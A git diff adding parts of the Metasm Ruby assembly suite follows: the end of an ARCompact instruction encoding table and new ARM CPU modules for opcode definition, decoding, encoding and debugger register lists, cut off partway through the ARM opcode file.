+ + add_artihm_op 'asr', 0b00101, 0b000010 + add_artihm_op 'asrs', 0b00101, 0b001011 + + # 0b00001bbbsssssss1SBBBCCCCCCN01110 + addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11110 + addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBCCCCCCN01111 + addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11111 + addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip + + # 0b00000ssssssssss0SSSSSSSSSSNQQQQQ + addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip + # 0b00000ssssssssss1SSSSSSSSSSNRtttt + addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec + # WTF: unknown encoding, bit 5 should be reserved + addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec + + add_logical_op 'bclr', 0b00100, 0b010000 + add_artihm_op 'bic', 0b00100, 0b000110 + + # 0b00001sssssssss00SSSSSSSSSSNQQQQQ + addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip + # 0b00001sssssssss10SSSSSSSSSSNRtttt + addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec + + add_logical_op 'bmsk', 0b00100, 0b010011 + + add_condbranch_op 'breq', 0b0000 + add_condbranch_op 'brne', 0b0001 + add_condbranch_op 'brlt', 0b0010 + add_condbranch_op 'brge', 0b0011 + add_condbranch_op 'brlo', 0b0100 + add_condbranch_op 'brhs', 0b0101 + + addop32 'brk', 0b00100101011011110000000000111111, :stopexec + + add_logical_op 'bset', 0b00100, 0b001111 + + # 0b00100bbb110100011BBBCCCCCC0QQQQQ + addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond + # 0b00100bbb110100011BBBuuuuuu1QQQQQ + addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond + # WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ + addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond + + add_logical_op 'bxor', 0b00100, 0b010010 + + # 0b00100bbb100011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12 + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12 + # 0b00100bbb110011001BBBuuuuuu1QQQQQ + addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011001BBBCCCCCC0QQQQQ + addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond + + add_artihm_op 'divaw', 0b00101, 0b001000, :extended + + # 0b00100bbb00101111DBBBCCCCCC001100 + addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16 + # 0b00100bbb01101111DBBBuuuuuu001100 + addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16 + + add_artihm_op_reduce 'extb', 0b00100, 0b000111 + add_artihm_op_reduce 'extw', 0b00100, 0b001000 + + # WTF unknown encoding ... + # 0b00100rrr111010010RRRCCCCCC0QQQQQ + addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update + # 0b00100rrr111010010RRRuuuuuu1QQQQQ + addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update + # 0b00100rrr101010010RRRssssssSSSSSS + addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update + + add_condjmp_op() + add_condjmplink_op() + + # 0b00100RRR001000000RRRCCCCCCRRRRRR + addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec + # 0b00100RRR011000000RRRuuuuuuRRRRRR + addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec + # 0b00100RRR101000000RRRssssssSSSSSS + addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec + # 0b00100RRR001000001RRR011101RRRRRR + addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec + # 0b00100RRR001000001RRR011110RRRRRR + addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec + + # 0b00100RRR0010001D0RRRCCCCCCRRRRRR + addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR0110001D0RRRuuuuuuRRRRRR + addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR1010001D0RRRssssssSSSSSS + addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec + + # 0b00010bbbssssssssSBBBDaaZZXAAAAAA + addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11 + + # 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA + addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11 + + # 0b00100RRR111010000RRRuuuuuu1QQQQQ + addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip + # 0b00100RRR101010000RRRssssssSSSSSS + addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip + + # 0b00100bbb001010100BBBCCCCCCRRRRRR + addop32 'lr', 0b00100000101010100000000000000000, :b, :@c + # 0b00100bbb001010100BBB111110RRRRRR + addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12 + # WTF unknown encoding ... + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12 + + add_artihm_op_reduce 'lsr', 0b00100, 0b000010 + + add_artihm_op 'lsr', 0b00101, 0b000001 + add_artihm_op 'max', 0b00100, 0b001000 + add_artihm_op 'min', 0b00100, 0b001001 + + # 0b00100bbb10001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15 + # WTF unknown encoding ... + # 0b00100bbb01001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15 + # 0b00100bbb11001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15 + # WTF unknown encoding .. + # 0b00100bbb00001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15 + # 0b00100bbb11001010FBBBuuuuuu1QQQQQ + addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15 + + add_artihm_op 'mpy', 0b00100, 0b011010, :extended + add_artihm_op 'mpyh', 0b00100, 0b011011, :extended + add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended + add_artihm_op 'mpyu', 0b00100, 0b011101, :extended + + # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6 + # : 0b00100bbb01001110FBBB000000AAAAAA + #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15 + + # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6 + # 0b00100bbb11001110FBBB0000001QQQQQ + #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15 + + add_artihm_op_reduce 'negs', 0b00101, 0b000111 + add_artihm_op_reduce 'negsw', 0b00101, 0b000110 + + # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15]) + addop32 'nop', 0b00100110010010100111000000000000 + + add_artihm_op_reduce 'norm', 0b00101, 0b000001 + add_artihm_op_reduce 'normw', 0b00101, 0b001000 + add_artihm_op_reduce 'not', 0b00100, 0b001010 + + add_artihm_op 'or', 0b00100, 0b000101 + + # 0b00010bbbssssssssSBBB0aa000111110 + addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb + # 0b00100bbbaa1100000BBBCCCCCC111110 + addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22 + + # 0b00100bbb100011011BBBssssssSSSSSS + addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12 + # 0b00100bbb110011011BBBCCCCCC0QQQQQ + addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011011BBBuuuuuu1QQQQQ + addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond + + add_artihm_op_reduce 'rlc', 0b00100, 0b001011 + add_artihm_op_reduce 'rnd16', 0b00101, 0b000011 + add_artihm_op_reduce 'ror', 0b00100, 0b000011 + + add_artihm_op 'ror', 0b00101, 0b000011, :extended + + add_artihm_op_reduce 'rrc', 0b00100, 0b000100 + + add_artihm_op 'rsub', 0b00100, 0b001110 + + addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec + + add_artihm_op_reduce 'sat16', 0b00101, 0b000010 + + add_artihm_op 'sbc', 0b00100, 0b000011 + + add_artihm_op_reduce 'sexb', 0b00100, 0b000101 + add_artihm_op_reduce 'sexbw', 0b00100, 0b000110 + + # 0b00100001011011110000uuuuuu111111 + addop32 'sleep', 0b00100001011011110000000000111111, :u6 + + # 0b00100bbb001010110BBBCCCCCCRRRRRR + addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext + # 0b00100110101010110111CCCCCCRRRRRR + addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12 + # WTF: unknown encoding + addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12 + + # 0b00011bbbssssssssSBBBCCCCCCDaaZZR + addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5 + + add_artihm_op 'sub', 0b00100, 0b000010 + add_artihm_op 'sub1', 0b00100, 0b010111 + add_artihm_op 'sub2', 0b00100, 0b011000 + add_artihm_op 'sub3', 0b00100, 0b011001 + + # WTF: same encoding as xor instructions + #add_artihm_op 'subs', 0b00100, 0b000111 + + add_artihm_op 'subsdw', 0b00101, 0b101001, :extended + + add_artihm_op_reduce 'swap', 0b00101, 0b000000 + + addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec + addop32 'sync', 0b00100011011011110000000000111111 + + # 0b00100bbb100010111BBBssssssSSSSSS + addop32 'tst', 0b00100000100010111000000000000000, :b, :s12 + # 0b00100bbb110010111BBBCCCCCC0QQQQQ + addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond + # 0b00100bbb110010111BBBuuuuuu1QQQQQ + addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond + + add_artihm_op 'xor', 0b00100, 0b000111 + end + + # ARCompact 16-bit instructions + def init_arc_compact16 + addop16 'abs_s', 0x7811, :cb, :cc + addop16 'add_s', 0x6018, :ca, :cb, :cc + addop16 'add_s', 0x7000, :cb, :cb2, :ch + addop16 'add_s', 0x6800, :cc, :cb, :cu3 + addop16 'add_s', 0xe000, :cb, :cb2, :cu7 + + # same encoding as add_s b,b,h + #addop16 'add_s', 0x70c7, :cb, :cb2, :climm + + addop16 'add_s', 0xc080, :cb, :sp, :cu5ee + addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee + addop16 'add_s', 0xce00, :cr0, :gp, :cs9 + addop16 'add1_s', 0x7814, :cb, :cb2, :cc + addop16 'add2_s', 0x7815, :cb, :cb2, :cc + addop16 'add3_s', 0x7816, :cb, :cb2, :cc + addop16 'and_s', 0x7804, :cb, :cb2, :cc + addop16 'asl_s', 0x7818, :cb, :cb2, :cc + addop16 'asl_s', 0x6810, :cc, :cb, :cu3 + addop16 'asl_s', 0xb800, :cb, :cb2, :cu5 + addop16 'asl_s', 0x781b, :cb, :cc + addop16 'asr_s', 0x781a, :cb, :cb2, :cc + addop16 'asr_s', 0x6818, :cc, :cb, :cu3 + addop16 'asr_s', 0xb840, :cb, :cb2, :cu5 + addop16 'asr_s', 0x781c, :cb, :cc + addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec + addop16 'beq_s', 0xf200, :cdisps10, :setip + addop16 'bne_s', 0xf400, :cdisps10, :setip + addop16 'bgt_s', 0xf600, :cdisps7, :setip + addop16 'bge_s', 0xf640, :cdisps7, :setip + addop16 'blt_s', 0xf680, :cdisps7, :setip + addop16 'ble_s', 0xf6c0, :cdisps7, :setip + addop16 'bhi_s', 0xf700, :cdisps7, :setip + addop16 'bhs_s', 0xf740, :cdisps7, :setip + addop16 'blo_s', 0xf780, :cdisps7, :setip + addop16 'bls_s', 0xf7c0, :cdisps7, :setip + addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5 + addop16 'bic_s', 0x7806, :cb, :cb2, :cc + addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec + addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5 + addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip + addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip + addop16 'brk_s', 0x7fff + addop16 'bset_s', 0xb880, :cb, :cb2, :cu5 + addop16 'btst_s', 0xb8e0, :cb, :cu5 + addop16 'cmp_s', 0x7010, :cb, :ch + addop16 'cmp_s', 0xe080, :cb, :cu7 + + # encoded over cmp_s b,h + # addop16 'cmp_s', 0x70d7, :cb, :limm + + addop16 'extb_s', 0x780f, :cb, :cc + addop16 'extw_s', 0x7810, :cb, :cc + addop16 'j_s', 0x7800, :@cb, :setip, :stopexec + addop16 'j_s.d', 0x7820, :@cb, :setip, :stopexec, :delay_slot + addop16 'j_s', 0x7ee0, :@blink, :setip, :stopexec + addop16 'j_s.d', 0x7fe0, :@blink, :setip, :stopexec, :delay_slot + addop16 'jeq_s', 0x7ce0, :@blink, :setip + addop16 'jne_s', 0x7de0, :@blink, :setip + addop16 'jl_s', 0x7840, :@cb, :setip, :saveip, :stopexec + addop16 'jl_s.d', 0x7860, :@cb, :setip, :saveip, :stopexec, :delay_slot + addop16 'ld_s', 0x6000, :ca, :@cbcc + addop16 'ldb_s', 0x6008, :ca, :@cbcc + addop16 'ldw_s', 0x6010, :ca, :@cbcc + addop16 'ld_s', 0x8000, :cc, :@cbu7 + addop16 'ldb_s', 0x8800, :cc, :@cbu5 + addop16 'ldw_s', 0x9000, :cc, :@cbu6 + addop16 'ldw_s.x', 0x9800, :cc, :@cbu6 + addop16 'ld_s', 0xc000, :cb, :@cspu7 + addop16 'ldb_s', 0xc020, :cb, :@cspu7 + addop16 'ld_s', 0xc800, :cr0, :@gps11 + addop16 'ldb_s', 0xca00, :cr0, :@gps9 + addop16 'ldw_s', 0xcc00, :cr0, :@gps10 + addop16 'ld_s', 0xd000, :cb, :@pclu10 + + # FIXME: exact same encoding as asl_s instructions + #addop16 'lsl_s', 0x7818, :cb, :cb2, :cc + #addop16 'lsl_s', 0x6810, :cc, :cb, :cu3 + #addop16 'lsl_s', 0xb800, :cb, :cb2, :cu5 + #addop16 'lsl_s', 0x781d, :cb, :cc + + addop16 'lsr_s', 0x7819, :cb, :cb2, :cc + addop16 'lsr_s', 0xb820, :cb, :cb2, :cu5 + addop16 'lsr_s', 0x781d, :cb, :cc + addop16 'mov_s', 0x7008, :cb, :ch + + # FIXME: same encoding as previous instruction + #addop16 'mov_s', 0x70cf, :cb, :limm + + addop16 'mov_s', 0xd800, :cb, :cu8 + addop16 'mov_s', 0x7018, :ch, :cb + + # TODO seems to overlap with previous instruction + addop16 'mov_s', 0x70df, :zero, :cb + addop16 'mul64_s', 0x780c, :zero, :cb, :cc + addop16 'neg_s', 0x7813, :cb, :cc + addop16 'not_s', 0x7812, :cb, :cc + addop16 'nop_s',0x78e0 + addop16 'unimp_s', 0x79e0 + addop16 'or_s', 0x7805, :cb, :cb2, :cc + addop16 'pop_s', 0xc0c1, :cb + addop16 'pop_s', 0xc0d1, :blink + addop16 'push_s', 0xc0e1, :cb + addop16 'push_s', 0xc0f1, :blink + addop16 'sexb_s', 0x780d, :cb, :cc + addop16 'sexw_s', 0x780e, :cb, :cc + addop16 'st_s', 0xc040, :cb, :@cspu7 + addop16 'stb_s', 0xc060, :cb, :@cspu7 + addop16 'st_s', 0xa000, :cc, :@cbu7 + addop16 'stb_s', 0xa800, :cc, :@cbu5 + addop16 'stw_s', 0xb000, :cc, :@cbu6 + addop16 'sub_s', 0x7802, :cb, :cb2, :cc + addop16 'sub_s', 0x6808, :cc, :cb, :cu3 + addop16 'sub_s', 0xb860, :cb, :cb2, :cu5 + addop16 'sub_s', 0xc1a0, :sp, :sp2, :cu5ee + addop16 'sub_s.ne', 0x78c0, :cb, :c2, :cb3 + addop16 'trap_s', 0x781E, :cu6, :setip, :stopexec + addop16 'tst_s', 0x780b, :cb, :cc + addop16 'xor_s', 0x7807, :cb, :cb2, :cc + end + +end +end diff --git a/lib/metasm/metasm/cpu/arm.rb b/lib/metasm/metasm/cpu/arm.rb new file mode 100644 index 0000000000..29f78f8e3f --- /dev/null +++ b/lib/metasm/metasm/cpu/arm.rb @@ -0,0 +1,14 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::ARM < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/arm/parse' +require 'metasm/cpu/arm/encode' +require 'metasm/cpu/arm/decode' +require 'metasm/cpu/arm/render' +require 'metasm/cpu/arm/debug' diff --git a/lib/metasm/metasm/cpu/arm/debug.rb b/lib/metasm/metasm/cpu/arm/debug.rb new file mode 100644 index 0000000000..6c115c47f4 --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/debug.rb @@ -0,0 +1,39 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/opcodes' + +module Metasm +class ARM + def dbg_register_pc + @dbg_register_pc ||= :pc + end + def dbg_register_flags + @dbg_register_flags ||= :flags + end + + def dbg_register_list + @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] + end + + def dbg_flag_list + @dbg_flag_list ||= [] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(32) + end + + def dbg_need_stepover(dbg, addr, di) + di and di.opcode.props[:saveip] + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'foobar' # TODO + end + +end +end diff --git a/lib/metasm/metasm/cpu/arm/decode.rb b/lib/metasm/metasm/cpu/arm/decode.rb new file mode 100644 index 0000000000..dae5f1093e --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/decode.rb @@ -0,0 +1,168 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arm/opcodes' +require 'metasm/decode' + +module Metasm +class ARM + # create the bin_mask for a given opcode + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.fields.each { |k, (m, s)| + op.bin_mask |= m << s + } + op.bin_mask = 0xffffffff ^ op.bin_mask + end + + # create the lookaside hash from the first byte of the opcode + def build_bin_lookaside + lookaside = Array.new(256) { [] } + + opcode_list.each { |op| + build_opcode_bin_mask op + + b = (op.bin >> 20) & 0xff + msk = (op.bin_mask >> 20) & 0xff + b &= msk + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b + end + } + + lookaside + end + + def decode_findopcode(edata) + return if edata.ptr+4 > edata.length + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u32, @endianness) + di.instance_variable_set('@raw', val) + di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| + (not op.props[:cond] or + ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end + + def disassembler_default_func + df = DecodedFunction.new + df + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + val = di.instance_variable_get('@raw') + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + when :i12; Expression.make_signed(r, 12) + when :i24; Expression.make_signed(r, 24) + when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) + when :stype; [:lsl, :lsr, :asr, :ror][r] + when :u; [:-, :+][r] + else r + end + } + + if op.props[:cond] + cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] + if cd != 'al' + di.opcode = di.opcode.dup + di.instruction.opname = di.opcode.name.dup + di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd + if di.opcode.props[:stopexec] + di.opcode.props = di.opcode.props.dup + di.opcode.props.delete :stopexec + end + end + end + + op.args.each { |a| + di.instruction.args << case a + when :rd, :rn, :rm; Reg.new field_val[a] + when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) + when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti] + when :i12; Expression[field_val[a]] + when :i24; Expression[field_val[a] << 2] + when :i8_r + i = field_val[:i8] + r = field_val[:rotate]*2 + Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] + when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + b = Reg.new(field_val[:rn]) + o = case a + when :mem_rn_rm; Reg.new(field_val[:rm]) + when :mem_rn_i8_12; field_val[:i8_12] + when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]) + when :mem_rn_i12; field_val[:i12] + end + Memref.new(b, o, field_val[:u], op.props[:baseincr]) + when :reglist + di.instruction.args.last.updated = true if op.props[:baseincr] + msk = field_val[a] + l = RegList.new((0..15).map { |n| Reg.new(n) if (msk & (1 << n)) > 0 }.compact) + l.usermoderegs = true if op.props[:usermoderegs] + l + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length = 4 + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.args[-1] == :i24 + di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] + end + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + + end + + def get_xrefs_x(dasm, di) + if di.opcode.props[:setip] + [di.instruction.args.last] + else + # TODO ldr pc, .. + [] + end + end +end +end diff --git a/lib/metasm/metasm/cpu/arm/encode.rb b/lib/metasm/metasm/cpu/arm/encode.rb new file mode 100644 index 0000000000..bf641d1088 --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/encode.rb @@ -0,0 +1,92 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/opcodes' +require 'metasm/encode' + +module Metasm +class ARM + def encode_instr_op(program, instr, op) + base = op.bin + set_field = lambda { |f, v| + v = v.reduce if v.kind_of?(Expression) + case f + when :i8_12 + base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] + next + when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) + when :u; v = [:-, :+].index(v) + end + base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] + } + + val, mask, shift = 0, 0, 0 + + if op.props[:cond] + coff = op.props[:cond_name_off] || op.name.length + cd = instr.opname[coff, 2] + cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al + set_field[:cond, cdi] + end + + op.args.zip(instr.args).each { |sym, arg| + case sym + when :rd, :rs, :rn, :rm; set_field[sym, arg.i] + when :rm_rs + set_field[:rm, arg.i] + set_field[:stype, arg.stype] + set_field[:rs, arg.shift.i] + when :rm_is + set_field[:rm, arg.i] + set_field[:stype, arg.stype] + set_field[:shifti, arg.shift] + when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 + set_field[:rn, arg.base.i] + case sym + when :mem_rn_rm + set_field[:rm, arg.offset.i] + when :mem_rn_rms + set_field[:rm, arg.offset.i] + set_field[:stype, arg.offset.stype] + set_field[:rs, arg.offset.shift.i] + when :mem_rn_i8_12 + set_field[:i8_12, arg.offset] + when :mem_rn_i12 + set_field[:i12, arg.offset] + end + # TODO set_field[:u] etc + when :reglist + set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] + when :i8_r + b = arg.reduce & 0xffffffff + r = (0..15).find { + next true if b < 0x100 + b = ((b << 2) & 0xffff_ffff) | ((b >> 30) & 3) + false + } + raise EncodeError, "Invalid constant" if not r + set_field[:i8, b] + set_field[:rotate, r] + when :i12, :i24 + val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + end + } + + if op.args[-1] == :i24 + # convert label name for branch to relative offset + label = program.new_label('l_'+op.name) + target = val + target = target.rexpr if target.kind_of?(Expression) and target.op == :+ and not target.lexpr + val = Expression[[target, :-, [label, :+, 8]], :>>, 2] + + EncodedData.new('', :export => { label => 0 }) << + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + else + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + end + end +end +end diff --git a/lib/metasm/metasm/cpu/arm/main.rb b/lib/metasm/metasm/cpu/arm/main.rb new file mode 100644 index 0000000000..d474e6702c --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/main.rb @@ -0,0 +1,72 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class ARM < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] + @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } + 15.times { |i| @s_to_i["r#{i}"] = i } + 4.times { |i| @s_to_i["a#{i+1}"] = i } + 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } + + attr_accessor :i, :stype, :shift, :updated + def initialize(i, stype=:lsl, shift=0) + @i = i + @stype = stype + @shift = shift + end + + def symbolic + r = self.class.i_to_s[@i].to_sym + if @stype == :lsl and @shift == 0 + r + else + r # TODO shift/rotate/... + end + end + end + + class Memref + attr_accessor :base, :offset, :sign, :incr + def initialize(base, offset, sign=:+, incr=nil) + @base, @offset, @sign, @incr = base, offset, sign, incr + end + + def symbolic(len=4, orig=nil) + o = @offset + o = o.symbolic if o.kind_of? Reg + p = Expression[@base.symbolic, @sign, o].reduce + Indirection[p, len, orig] + end + end + + class RegList + attr_accessor :list, :usermoderegs + + def initialize(l=[]) + @list = l + end + end + + def initialize(endianness = :little) + super() + @endianness = endianness + @size = 32 + end + + def init_opcode_list + init_latest + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/arm/opcodes.rb b/lib/metasm/metasm/cpu/arm/opcodes.rb new file mode 100644 index 0000000000..c535077a7b --- /dev/null +++ b/lib/metasm/metasm/cpu/arm/opcodes.rb @@ -0,0 +1,323 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/arm/main' + +module Metasm +class ARM + private + + # ARM MODE + + def addop(name, bin, *args) + args << :cond if not args.delete :uncond + + suppl = nil + o = Opcode.new name, bin + args.each { |a| + # Should Be One fields + if a == :sbo16 ; o.bin |= 0b1111 << 16 ; next ; end + if a == :sbo12 ; o.bin |= 0b1111 << 12 ; next ; end + if a == :sbo8 ; o.bin |= 0b1111 << 8 ; next ; end + if a == :sbo0 ; o.bin |= 0b1111 << 0 ; next ; end + + o.args << a if @valid_args[a] + o.props[a] = true if @valid_props[a] + o.props.update a if a.kind_of?(Hash) + # special args -> multiple fields + suppl ||= { :i8_r => [:i8, :rotate], :rm_is => [:rm, :stype, :shifti], + :rm_rs => [:rm, :stype, :rs], :mem_rn_rm => [:rn, :rm, :rsx, :u], + :mem_rn_i8_12 => [:rn, :i8_12, :u], + :mem_rn_rms => [:rn, :rm, :stype, :shifti, :i], + :mem_rn_i12 => [:rn, :i12, :u] + }[a] + } + + args.concat suppl if suppl + + args.each { |a| o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } + + @opcode_list << o + end + + def addop_data_s(name, op, a1, a2, *h) + addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h + addop name, op, a1, a2, :rm_is, *h + addop name, op | (1 << 4), a1, a2, :rm_rs, *h + end + def addop_data(name, op, a1, a2) + addop_data_s name, op << 21, a1, a2 + 